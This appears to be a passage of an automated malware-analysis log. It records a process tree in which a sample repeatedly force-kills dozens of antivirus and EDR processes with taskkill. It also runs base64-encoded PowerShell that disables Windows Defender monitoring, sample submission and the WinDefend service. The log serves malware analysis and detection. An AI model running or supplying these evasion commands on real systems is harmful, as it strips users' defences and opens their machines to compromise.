    C:\Windows\system32\cmd.exe /c "taskkill /f /im Bitdefender.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2400
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Bitdefender.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im vsserv.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5104
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ESET.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4956
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ESET.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:792
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ekrn.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im F-Secure.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2948
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im F-Secure.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im GData.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5372
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im GData.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5288
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Panda.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5332
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Panda.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TrendMicro.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5484
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TrendMicro.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5476
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CrowdStrike.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5580
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CrowdStrike.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CSAgent.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5532
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CSAgent.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4460
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4344
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4872
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMTray.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMWsc.exe"
    3⤵
    PID:5852
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMWsc.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AA=="
    3⤵
    - Executes a command shell one-liner
    PID:5912
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5788
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:4072
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3804
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MpCmdRun.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1692
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MpCmdRun.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    PID:772
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    PID:2388
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA"
    3⤵
    - Executes a command shell one-liner
    PID:2032
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGwAbwBjAGsAQQB0AEYAaQByAHMAdABTAGUAZQBuACAAJAB0AHIAdQBlACAALQBGAG8AcgBjAGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:2560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBJAE8AQQBWAFAAcgBvAHQAZQBjAHQAaQBvAG4AIAAkAHQAcgB1AGUAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:1796
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgAgAC0ARgBvAHIAYwBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA="
    3⤵
    PID:2520
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ATQBBAFAAUwBSAGUAcABvAHIAdABpAG4AZwAgADAAIAAtAEYAbwByAGMAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2972
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA=="
    3⤵
    - Executes a command shell one-liner
    PID:2964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwB0AG8AcAAtAFMAZQByAHYAaQBjAGUAIAAtAE4AYQBtAGUAIABXAGkAbgBEAGUAZgBlAG4AZAAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA="
    3⤵
    - Executes a command shell one-liner
    PID:5244
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand UwBlAHQALQBTAGUAcgB2AGkAYwBlACAALQBOAGEAbQBlACAAVwBpAG4ARABlAGYAZQBuAGQAIAAtAFMAdABhAHIAdAB1AHAAVAB5AHAAZQAgAEQAaQBzAGEAYgBsAGUAZAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avp.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5952
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avp.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kav.exe"
    3⤵
    PID:4568
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kav.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kis.exe"
    3⤵
    - Executes a command shell one-liner
    PID:244
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kis.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im kaspersky.exe"
    3⤵
    PID:944
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im kaspersky.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im drweb.exe"
    3⤵
    PID:1864
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im drweb.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im dwengine.exe"
    3⤵
    PID:4640
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im dwengine.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    PID:5784
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4388
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5660
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5724
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    PID:2512
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    PID:6080
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avg.exe"
    3⤵
    PID:5176
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avg.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im avast.exe"
    3⤵
    PID:3536
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im avast.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im AvastSvc.exe"
    3⤵
    PID:2756
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im AvastSvc.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Norton.exe"
    3⤵
    PID:4500
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Norton.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Symantec.exe"
    3⤵
    PID:2052
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Symantec.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im McAfee.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4552
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im McAfee.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Mcshield.exe"
    3⤵
    PID:4128
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Mcshield.exe
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Sophos.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3780
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Sophos.exe
      4⤵
      Kills process with taskkill
      PID:3152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Bitdefender.exe"
    3⤵
    PID:3096
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Bitdefender.exe
      4⤵
      PID:3500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im vsserv.exe"
    3⤵
    - Executes a command shell one-liner
    PID:4120
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im vsserv.exe
      4⤵
      Kills process with taskkill
      PID:2848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ESET.exe"
    3⤵
    PID:3956
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ESET.exe
      4⤵
      PID:2832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im ekrn.exe"
    3⤵
    PID:1100
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im ekrn.exe
      4⤵
      PID:4172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im F-Secure.exe"
    3⤵
    PID:2076
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im F-Secure.exe
      4⤵
      Kills process with taskkill
      PID:2796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im GData.exe"
    3⤵
    - Executes a command shell one-liner
    PID:2972
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im GData.exe
      4⤵
      Kills process with taskkill
      PID:5504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Panda.exe"
    3⤵
    PID:5288
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Panda.exe
      4⤵
      PID:5416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im TrendMicro.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5276
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im TrendMicro.exe
      4⤵
      Kills process with taskkill
      PID:5428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CrowdStrike.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5648
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CrowdStrike.exe
      4⤵
      Kills process with taskkill
      PID:5272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im CSAgent.exe"
    3⤵
    PID:5884
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im CSAgent.exe
      4⤵
      Kills process with taskkill
      PID:5876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMService.exe"
    3⤵
    - Executes a command shell one-liner
    PID:6028
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMService.exe
      4⤵
      PID:1776
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im Malwarebytes.exe"
    3⤵
    - Executes a command shell one-liner
    PID:5972
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5968
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im Malwarebytes.exe
      4⤵
      PID:5992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMTray.exe"
    3⤵
    PID:72
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMTray.exe
      4⤵
      Kills process with taskkill
      PID:5712
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MBAMWsc.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3924
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MBAMWsc.exe
      4⤵
      Kills process with taskkill
      PID:5760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AA=="
    3⤵
    - Executes a command shell one-liner
    PID:564
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABwAHIAbwBjAGUAcwBzAGUAcwAgAD0AIABAACgAIgBNAEIAQQBNAFMAZQByAHYAaQBjAGUAIgAsACAAIgBNAGEAbAB3AGEAcgBlAGIAeQB0AGUAcwAiACwAIAAiAE0AQgBBAE0AVAByAGEAeQAiACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAHAAIABpAG4AIAAkAHAAcgBvAGMAZQBzAHMAZQBzACkAIAB7ACAACgAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAC0ATgBhAG0AZQAgACQAcAAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAgAHwAIABTAHQAbwBwAC0AUAByAG8AYwBlAHMAcwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACAACgB9AA==
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MsMpEng.exe"
    3⤵
    PID:4496
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MsMpEng.exe
      4⤵
      PID:3704
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im NisSrv.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1208
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im NisSrv.exe
      4⤵
      Kills process with taskkill
      PID:4144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im SecurityHealthService.exe"
    3⤵
    - Executes a command shell one-liner
    PID:1820
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im SecurityHealthService.exe
      4⤵
      Kills process with taskkill
      PID:5144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "taskkill /f /im MpCmdRun.exe"
    3⤵
    - Executes a command shell one-liner
    PID:6076
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im MpCmdRun.exe
      4⤵
      PID:2044
- - C:\Windows\system32\cmd.exe
